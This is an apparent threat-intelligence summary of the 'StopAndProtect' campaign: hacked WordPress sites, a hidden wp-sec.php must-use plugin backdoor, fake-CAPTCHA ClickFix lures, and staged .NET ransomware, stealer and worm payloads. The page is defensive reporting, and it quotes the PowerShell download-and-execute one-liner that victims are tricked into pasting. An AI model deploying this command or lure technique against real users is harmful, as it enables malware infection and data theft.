# StopAndProtect: Compromised WordPress Sites Used as Malware Distribution Infrastructure for Ransomware, Stealer, and Worm Payloads

> Check Point Research unmasked 'StopAndProtect,' an operation that abuses a hidden malicious WordPress must-use plugin (wp-sec.php) to backdoor thousands of hacked sites, luring visitors with ClickFix fake-CAPTCHA prompts into running PowerShell that deploys a multi-stage .NET toolset — SilentEncryptor ransomware, the SilentDataCollector infostealer, and the NetworkShareScanner SMB/USB worm. Over 6,000 unique victim IPs, ~31,000 exfiltrated screenshots, and 700+ stolen-data archives were observed between mid-May and July 24, 2026; the operator's own OPSEC failures exposed internal project names and legacy VB6 tooling but the operation remains unattributed.

- **Published:** 2026-08-18T00:00:00Z
- **Last reviewed:** 2026-08-18T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2057
- **ID:** TL-2026-2057
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 28 (full data via the Threadlinqs MCP server — Purple tier)

## Description

StopAndProtect is a large-scale, financially-motivated operation that turns compromised, poorly-maintained WordPress sites into disposable malware-distribution and command-and-control infrastructure. Access to each site begins with exploitation of one or more of 40+ vulnerabilities Check Point observed on an analyzed compromised installation (SQL injection, authentication bypass, authenticated arbitrary file upload, and open redirect flaws on a WordPress core version dating to 2021, five years unpatched). Once inside, the operators deploy an mu-uploader-installer.php bootstrap that writes a hidden must-use plugin to wp-content/mu-plugins/wp-sec.php. Because WordPress auto-loads every file in mu-plugins on every request and never lists them in the standard Plugins admin screen, wp-sec.php survives routine administrator review. It registers a hidden REST API route (wp-json/wp-sec/v1/upload) gated by hardcoded credentials that accepts arbitrary file uploads — explicitly including .php — turning the backdoor into a persistent, low-visibility web shell the operators use to push further payloads, including a 'verify' plugin component that renders a fraudulent CAPTCHA overlay to site visitors. The installer self-deletes after deployment.

Visitors who land on a compromised page are shown a ClickFix-style fake human-verification prompt. The page's JavaScript silently logs the visitor's IP to a proxy.php endpoint under wp-content/plugins/verify/ on a base C2 domain, copies a PowerShell one-liner to the clipboard, and walks the victim through Win+R, Ctrl+V, Enter. The pasted command (powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(...))) fetches a first-stage script (vcapcha.ps1) that reports execution telemetry to the C2 and retrieves a second PowerShell stage; that stage base64-decodes a .NET assembly, reflectively loads it into the current process, and invokes an exported 'Execute' method — the initial loader never touches disk. The in-memory .NET Stage 1 downloader reports further telemetry and fetches a .NET Stage 2 loader that performs sandbox/VM detection, expands logging, and persists on the host before pulling down the Stage 3 modular payload set.

Stage 3 delivers three purpose-built .NET families. SilentEncryptor is the ransomware component: it fetches encryption instructions from the C2 (scoping encryption to all machines or specific hostnames), derives a 32-byte per-file key from a per-file password plus the victim machine name, embeds both values in the encrypted filename so operators can regenerate keys without an escrow database, and displays a C2-served ransom lock screen with a cryptocurrency QR code for payment. SilentDataCollector is the infostealer: it inventories files across fixed drives, removable media, and network shares, AES-CBC-encrypts the resulting file list with a key embedded in the Stage 3 component, and waits for operator-issued command files naming specific targets (documents, credential/password stores, cryptocurrency wallets) to compress, encrypt, and exfiltrate to the base C2. Newer builds add a keylogger with email-address detection, WhatsApp Web automation that searches for and extracts named contacts' phone numbers, and screenshot capture every 30 seconds during active user sessions (plus at startup, lock, and final desktop state) — Check Point recovered roughly 31,000 such screenshots and 700+ encrypted data archives from open collection directories, representing ~200 unique infected machines. NetworkShareScanner is the propagation module: it enumerates reachable SMB network shares and attached USB devices, then spreads copies of the toolset to them, using WMI-based remote process creation for lateral movement into enterprise network shares, paired with a companion VBS spreader for hard-disk and removable-media infection.

Operator-side tradecraft is unusually exposed for a still-active campaign: the actors' own desktop files were accidentally swept into the same open exfiltration directories as victim data, revealing a project tree rooted at G:\a_new_hack\0a_botnet\fake-captcha\a-master\4-a-updater-plugin-send-new-plugin\, roughly 1,400 active fake-CAPTCHA domains listed in a-MASTER-CAPCHA-EXISTS-QUICK.txt, ~300 successful plugin-upload logs in a-wp-cssv-uploaded.txt, ~2,000 compromised WordPress domain listings, and a custom Visual Basic 6 (a language whose mainstream support ended around 2006) management console used to bulk-upload/delete files, toggle the fake CAPTCHA and caching state, and manage payloads across hundreds of sites at once. A SimpleChatProxy component also lets operators message ransomware victims in real time, including image transmission, to negotiate payment. Despite the tooling and infrastructure exposure, Check Point stops short of formal attribution — the mix of a Ukrainian-TLD C2 domain, a Russia-heavy victim count, and dated VB6 tradecraft is noted but explicitly not tied to any known actor or nation-state.

## MITRE ATT&CK

- T1584.004 Compromise Infrastructure: Server
- T1190 Exploit Public-Facing Application
- T1204.004 User Execution: Malicious Copy and Paste
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1047 Windows Management Instrumentation
- T1505.003 Server Software Component: Web Shell
- T1027 Obfuscated Files or Information
- T1620 Reflective Code Loading
- T1497 Virtualization/Sandbox Evasion
- T1021.002 Remote Services: SMB/Windows Admin Shares
- T1091 Replication Through Removable Media
- T1113 Screen Capture
- T1056.001 Input Capture: Keylogging
- T1560 Archive Collected Data
- T1071.001 Application Layer Protocol: Web Protocols
- T1657 Financial Theft

## Sources

- [Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect](https://research.checkpoint.com/2026/thousands-of-hacked-wordpress-sites-one-operation-unmasking-stopandprotect/)
- [Must Use Plugins – Advanced Administration Handbook](https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/)
- [Caught in the CAPTCHA: How ClickFix is Weaponizing Verification Fatigue to Deliver RATs & Infostealers](https://www.sentinelone.com/blog/how-clickfix-is-weaponizing-verification-fatigue-to-deliver-rats-infostealers/)
- [Beyond The Click: Unveiling Fake CAPTCHA Campaigns](https://www.splunk.com/en_us/blog/security/unveiling-fake-captcha-clickfix-attacks.html)
- [ClickFix: The Social Engineering Technique Hackers Use to Manipulate Victims](https://www.group-ib.com/blog/clickfix-the-social-engineering-technique-hackers-use-to-manipulate-victims/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2057